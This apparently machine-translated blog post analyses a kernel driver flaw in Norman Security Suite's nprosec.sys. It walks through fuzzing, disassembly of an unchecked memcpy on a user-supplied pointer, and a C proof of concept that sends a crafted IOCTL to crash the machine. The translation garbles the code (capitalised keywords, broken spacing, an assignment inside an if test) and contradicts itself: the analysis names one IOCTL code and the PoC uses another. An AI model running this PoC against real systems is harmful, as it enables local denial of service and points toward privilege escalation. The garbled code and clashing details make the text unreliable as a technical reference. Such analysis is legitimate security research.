> Norman Security Suite is a HIPS software from Norway. Yesterday I saw a foreign friend Xst3nZ in EXPLOIT-DB releasing a Local Elevation of Privilege 0Day POC. I don't know why the EXPLOIT-DB has never passed verification
Interestingly, the POC verification process for driver-level vulnerabilities on the EXPLOIT-DB is much slower than the POC verification process for other types of vulnerabilities, and often does not pass verification. For example, a Chinese expert submitted a number of HIPS and WINDOWS kernel-level vulnerability POC to the EXPLOIT-DB, without passing verification.
In any case, the system is idle, so it simply needs to verify the vulnerability and analyze the cause of the vulnerability. After all, driver-level vulnerabilities of HIPS in foreign countries are getting increasingly scarce, so it is worth a bit of fun to see.
I did not directly compile the Xst3nZ POC, but copied the ioctl_fuzzer in the military library to perform Fuzz on nprosec. sys. I have enough reason to ensure that Xst3nZ also uses ioctl_fuzzer TO FIND THIS 0Day. The driver module of Fuzz HIPS is a pain point, because you can only passively wait for the Rin3 layer process of HIPS to communicate with its kernel module (and it must also be an IOCTL_DEVICE_CONTROL IRP, And the InputBufferLength of this IRP should not be 0 ), fuzzer can start to work hard. By the way, many books in China have already introduced how to use tools or refactor the wheel to mine kernel driver-level vulnerabilities, but the content is only used by tools, there are no suggestions on how to effectively trigger the communication between HIPS Ring3 processes and kernel modules. Therefore, beginners like me who are not deeply involved in the world can only blindly mess up on the main interface of HIPS-the efficiency is extremely low!
For example, although we know about nprosec this time. sys may have a vulnerability. The target has been reduced by several times, however, ioctl_fuzzer has not shot a fatal bullet for a long time, because I have been so mad at it that IrpTracker has not captured the processes of Norman Security Suite and its Driver object \ Driver \ NPROSEC for IOCTL_DEVICE_CONTROL. type.
Finally, after clicking "Intrusion Guard" ----> "Advanced System Reporting Program" on the control interface, Windbg caught a memory access exception.
Combined with the exception information provided by Windbg and IDA Pro's disassembly results for nprosec. sys, it is easy to analyze the cause of vulnerability triggering:
When the Driver object \ Driver \ NPROSEC processes an IRP of the IOCTL_CODE 0x0022020C type, the Ring Layer 3 will pass in an eight-byte struct of the following type to Ring 0.
Typedef struct _ UNKNOW_DATA_STRUCT {
LPVOID BufferAddress; // Save the starting address of a buffer.
DWORD BufferLength; // Save the valid length of a buffer.
}
If Ring 0 does not validate the BufferAddress value in the struct, it calls the memcpy function to write data to the buffer to which it points. Thus, it can be used by attackers to EOP.
. Text: B2DEFA6D mov edi, [ebp + Irp]; EDI points to the IRP
. Text: B2DEFA70 mov esi, [edi + 60 h]; ESI points to the IO_STACK_LOCATION
...... Omitted irrelevant commands ......
. Text: B2DEFBA5 cmp dword ptr [esi + 8], 8
. Text: B2DEFBA9 jz short loc_B2DEFBC0; jump to loc_B2DEFBC0 if the input buffer length is less than 8
. Text: B2DEFBC0 cmp dword ptr [esi + 4], 8
. Text: B2DEFBC4 jz short loc_B2DEFBCD; jump to loc_B2DEFBCD if the output buffer length is less than 8
. Text: B2DEFBCD loc_B2DEFBCD:
. Text: B2DEFBCD mov esi, [edi + 0Ch]; ESI points to the _ UNKNOW_DATA_STRUCT struct passed in from the Ring Layer 3
. Text: B2DEFBD0 mov eax, [esi + 4]
. Text: B2DEFBD3 test al, 7
. Text: B2DEFBD5 jz short loc_B2DEFBE5; if the BufferLength In the struct is greater than 7, jump to loc_B2DEFBE5 and execute
. Text: B2DEFBF0 mov eax, [esi]; EAX equals the BufferAddress in the _ UNKNOW_DATA_STRUCT
. Text: B2DEFBF2 push ecx; int
. Text: B2DEFBF3 push eax; void *
. Text: B2DEFBF4 call sub_B2DF1756
In the sub_B2DF1756 Function
. Text: B2DF1813 shl eax, 3
. Text: B2DF1816 push eax; size_t
. Text: B2DF1817 push ebx; void *
. Text: B2DF1818 push [ebp + 8]; void *
. Text: B2DF181B call memcpy; write EAX bytes to the memory pointed to by BufferAddress
You can write the following POC that may cause local denial of service.
# Include <windows. h>
# Include <stdio. h>
# Define DEVICE_NAME "\\\\. \\ nprosec"
# Define IOCTL_CODE 0x00220210
Int main ()
{
DWORD input_buffer [2];
DWORD output_buffer [2];
HANDLE hDevice = INVALID_HANDLE_VALUE;
BOOL bRet = FALSE;
Memset (output_buffer, 0, sizeof (output_buffer ));
Input_buffer [0] = 0xc0c0c0c0;
Input_buffer [1] = 0x8;
HDevice = CreateFile ("\\\\. \\ nprosec ",
GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL );
If (hDevice = (HANDLE) 0 xFFFFFFFF ){
Printf ("[!] Cannot open a handle to the driver, it is probably not loaded .");
Printf ("Error: % d \ n", GetLastError ());
Goto _ EXIT;
}
BRet = DeviceIoControl (hDevice, 0x00220210, input_buffer, 0x8, output_buffer, 0x8, NULL, NULL );
If (FALSE = bRet ){
Printf ("[!] Send ioctl fail! \ R \ n ");
Printf ("Error: % d \ n", GetLastError ());
Goto _ EXIT;
}
_ EXIT:
If (INVALID_HANDLE_VALUE! = HDevice ){
CloseHandle (hDevice );
}
Return 0;
}